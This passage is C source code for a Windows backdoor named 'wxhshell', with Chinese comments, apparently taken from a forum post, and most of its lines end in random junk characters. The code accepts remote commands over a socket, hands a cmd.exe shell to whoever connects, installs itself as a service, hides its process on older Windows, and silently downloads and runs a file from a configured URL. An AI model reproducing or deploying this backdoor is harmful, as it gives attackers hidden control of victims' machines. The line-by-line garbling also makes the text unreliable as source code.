2T?8{yO7  
    switch(cmd[0]) { c(b2f-0!4  
  A]laS7Q  
  // 帮助 6&+}Hhe  
  case '?': { 0.\}D:x(z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )[ QT ?;  
    break; q eDXG  
  } 5O(U1 *  
  // 安装 %I=/ y  
  case 'i': { wRdN(`;v  
    if(Install()) EK.n $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EfB.K}b^  
    else !hFzIp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qZdA%  
    break; IyEfisOK?  
    } &^`[$LtYd  
  // 卸载 shD4";8*@  
  case 'r': { : q>)c]  
    if(Uninstall()) Quwq_.DU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J`4V\D}n  
    else ?bH`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mp QsM-iW  
    break; Dz,|sHCmk  
    } j0^1BVcj  
  // 显示 wxhshell 所在路径 ZkWMo= vL  
  case 'p': { [b+B"f6  
    char svExeFile[MAX_PATH]; O]Ey@7 &  
    strcpy(svExeFile,"\n\r"); YSzC's[  
      strcat(svExeFile,ExeFile); rB-R(2 CCN  
        send(wsh,svExeFile,strlen(svExeFile),0); N1}r%!jk/  
    break; )(OGo`4Qz  
    } T/0cPn0>  
  // 重启 U ;A,W$<9  
  case 'b': { O=eU38n:5u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kum" }ux  
    if(Boot(REBOOT)) ^M1jv(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d}aMdIF!e  
    else { G6}!PEwM  
    closesocket(wsh); # 0d7  
    ExitThread(0); f 8\DAN  
    } SKF0p))BJ  
    break; 'C=(?H)M  
    } L=<$^m  
  // 关机 U'^ G-@  
  case 'd': { qm<-(Qc(W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R|k:8v{V=  
    if(Boot(SHUTDOWN)) Pv=]7> e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f9OY> |a9  
    else { *k Tj,&x[  
    closesocket(wsh); g*Pn_Yo[.  
    ExitThread(0); EL%Pv1  
    } j<QK1d17  
    break; t%%zuqF`  
    } 6-~ZOMlV  
  // 获取shell G)?j(El  
  case 's': { <00nu'Ex1v  
    CmdShell(wsh); \x<,Ma=D  
    closesocket(wsh); }~Do0XUH  
    ExitThread(0); \?wKs  
    break; 1h|qxYO  
  } Pc`)D:/}R  
  // 退出 p(-EtxP  
  case 'x': { *Kpw@4G   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *ZV3]ig2$  
    CloseIt(wsh); .AQTUd(_  
    break; qfdL *D  
    } qo}yEl1  
  // 离开 PdEPDyFkh  
  case 'q': { :fDzMD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q6hH]Q>w*  
    closesocket(wsh); U# IPYyV  
    WSACleanup(); v-8{mK`9\  
    exit(1); ([|^3tM  
    break; ~;-2eKw  
        } 0eKLp8;Lh  
  } @NiLKcL#  
  } \Unawv~  
{3SK|J`  
  // 提示信息 Q,:h`%V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +vH#xc\'  
} R%~~'/2V  
  } #V)l>  
W9{;HGWS  
  return; =jA.INin4  
} >0u*E *Y  
Q"Exmn3p  
// shell模块句柄 <pXOE- G5  
int CmdShell(SOCKET sock) 1;+77<  
{ 6kMEm)YjT  
STARTUPINFO si; 3sRI 7g  
ZeroMemory(&si,sizeof(si)); xnJ#}-.7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (#x&Y#5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mI\[L2x  
PROCESS_INFORMATION ProcessInfo; Bio QV47B  
char cmdline[]="cmd"; I. Xbowl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5z_Kkf?o  
  return 0; ' R2*3<  
} ~[kI! [  
Ted tmX$  
// 自身启动模式 APJFy@l}  
int StartFromService(void) !]9qQ7+R%  
{ _{ 2`sL)  
typedef struct s'd\"WaQV  
{ qG2P?DR  
  DWORD ExitStatus; f =A#:d  
  DWORD PebBaseAddress; \F\xZ.r  
  DWORD AffinityMask; ,&s"f4Mft  
  DWORD BasePriority; |Om9(xT  
  ULONG UniqueProcessId; dtj b(*x  
  ULONG InheritedFromUniqueProcessId; ug'^$geM  
}   PROCESS_BASIC_INFORMATION; zTl,VIa3p  
dj4a)p|YN  
PROCNTQSIP NtQueryInformationProcess; KU Mk:5 c  
i5_l//]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a1ps'^Qhh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bk@EQdn  
YG5mzP<T  
  HANDLE             hProcess; Qs?p)3qp  
  PROCESS_BASIC_INFORMATION pbi; p AaNWm  
h Fan$W$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '*Tt$0#o  
  if(NULL == hInst ) return 0; ynf!1!4  
&OkPO|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _PQk<QZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <]_[o:nOP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [\%a7ji#  
snNB;hkj  
  if (!NtQueryInformationProcess) return 0; ;TK$?hrv*1  
*(XGNp[0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bPkz=^-  
  if(!hProcess) return 0; pB]*cd B?  
32y 9rz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yigq#h^  
YN7O Qqa  
  CloseHandle(hProcess); cBU3Q<^  
hBifn\dFr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ah(k!0PV  
if(hProcess==NULL) return 0; d DAl n+  
DeeV;?:  
HMODULE hMod; epG =)gd=8  
char procName[255]; 16nU`TN  
unsigned long cbNeeded; D'^%Q_;u  
b.8T<@a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E8t{[N6d  
<xrya _R?  
  CloseHandle(hProcess); s;[=B  
X`-o0HG  
if(strstr(procName,"services")) return 1; // 以服务启动 L)S V?FBx  
-6X+:r`>u  
  return 0; // 注册表启动 zz<o4b R  
} T-x9IoE  
l1 _"9a%H  
// 主模块 ux 17q>G  
int StartWxhshell(LPSTR lpCmdLine) T[g(S0dz  
{ B5R7geC  
  SOCKET wsl; FBOgaI83G  
BOOL val=TRUE; x2/ciC  
  int port=0; /^gu&xnS  
  struct sockaddr_in door; /)dyAX(  
"`4M4`'  
  if(wscfg.ws_autoins) Install(); ,% .)mf  
v`Ja Bn  
port=atoi(lpCmdLine); ^X"x,8}&V  
A!uiM*"W  
if(port<=0) port=wscfg.ws_port; Jp_ :.4  
r Cz,XYV  
  WSADATA data; l%?()]y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 92N`Q}  
\J;]g\&I"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   & IsPqO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~jz51[{v  
  door.sin_family = AF_INET; ~EvGNnTL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u?>8`]r  
  door.sin_port = htons(port); 64<*\z_  
q$`>[&I~)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  9/I xh?  
closesocket(wsl); Sw?EF8}[  
return 1; axK/YE7t  
} [9F  
"5EL+z3v  
  if(listen(wsl,2) == INVALID_SOCKET) { 6?JvvS5  
closesocket(wsl); 6uk}4bdvq  
return 1; TQ%F\@"  
} %ZDO0P !/  
  Wxhshell(wsl); sWKdqs  
  WSACleanup(); -[h|*G.J  
M=4b  
return 0; TZ}y%iU:mB  
m}>Q#IVZ  
} A>RK3{7  
}gE^HH'  
// 以NT服务方式启动 <7gv<N6BQf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "x0KiIoPk  
{ ?N@[R];  
DWORD   status = 0; zH#urF6<  
  DWORD   specificError = 0xfffffff; xX Dj4j,  
[81q 0@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [F{P0({%?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e nw*[D !  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g+(Y)9h&  
  serviceStatus.dwWin32ExitCode     = 0; &^Gp  
  serviceStatus.dwServiceSpecificExitCode = 0; x`2du/ C  
  serviceStatus.dwCheckPoint       = 0; SDk^fTV8x  
  serviceStatus.dwWaitHint       = 0; {M\n  
;0uiO.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8kE3\#);\  
  if (hServiceStatusHandle==0) return; l?Ibq}[~  
7?);wh7`  
status = GetLastError(); T`]P5Bk8r  
  if (status!=NO_ERROR) k[f_7lJ2  
{ oR3t vw.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CW.T`F  
    serviceStatus.dwCheckPoint       = 0; !;${2Q  
    serviceStatus.dwWaitHint       = 0; ocZ^rqo2w  
    serviceStatus.dwWin32ExitCode     = status; [N<rPHT  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1 (e64w@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .SNg2.  
    return; EW+QVu@  
  } >t%@)]*N  
 [ A 7{}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~)6EH`-  
  serviceStatus.dwCheckPoint       = 0; _g'x=VJF  
  serviceStatus.dwWaitHint       = 0; MN:LL <  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E Q:6R|L  
} |=V~CQ]  
y'non0P.  
// 处理NT服务事件,比如:启动、停止 >Pvz5Hf/wW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;krIuk-  
{ h R6Pj"@0  
switch(fdwControl) Ry?f; s  
{ ~mv5{C  
case SERVICE_CONTROL_STOP: N:Ir63X*#  
  serviceStatus.dwWin32ExitCode = 0;  P.mlk>r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k^zU;  
  serviceStatus.dwCheckPoint   = 0; ^uPg71r:  
  serviceStatus.dwWaitHint     = 0; WF2t{<]^e  
  { Ynp#3 r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _1~pG)y$U  
  } Vjd>j; H  
  return; Tk `|{Ph0  
case SERVICE_CONTROL_PAUSE: vcaPd}nf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `}rk1rl6  
  break; K6|R ;r5e{  
case SERVICE_CONTROL_CONTINUE: 8NTE`l=>/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qd>\{$N  
  break; $R:Q R?   
case SERVICE_CONTROL_INTERROGATE: vUDMl Z  
  break; 432]yhQ  
}; yD@eT:lyi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5du xW>D  
} fVdu9 l  
eo.B0NZsF  
// 标准应用程序主函数 ,zxv>8Nt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \Pe+]4R-Xo  
{ P4+PY 8  
Sl@Ucc31  
// 获取操作系统版本 qVjMflVoay  
OsIsNt=GetOsVer(); h 9}x6t,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y%>u.HzL  
Pw5[X5.DX  
  // 从命令行安装 QZ*gR#K]Sz  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ch:EL-L  
nlaW$b{=  
  // 下载执行文件 P]armg%  
if(wscfg.ws_downexe) { b[:{\ !I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _KkP{g,Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); xV=Tmu6l  
} Kx?8 HA[5  
_rmKvSD%  
if(!OsIsNt) { RaP,dR+P  
// 如果时win9x,隐藏进程并且设置为注册表启动 %E"Z &_3{  
HideProc(); ;|:R*(2   
StartWxhshell(lpCmdLine); *%E\mu,,c  
} c]/S<w<  
else xErb11  
  if(StartFromService()) ;uzLa%JQ  
  // 以服务方式启动 E]=>@EX  
  StartServiceCtrlDispatcher(DispatchTable); J;4aghzY  
else jx2{kK  
  // 普通方式启动 ?0?3yD-!9  
  StartWxhshell(lpCmdLine); [1O{yPV3s  
X; 6=WqJj  
return 0; ,i8%qm8  
}
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只看该作者 1 发表于: 2006-10-10
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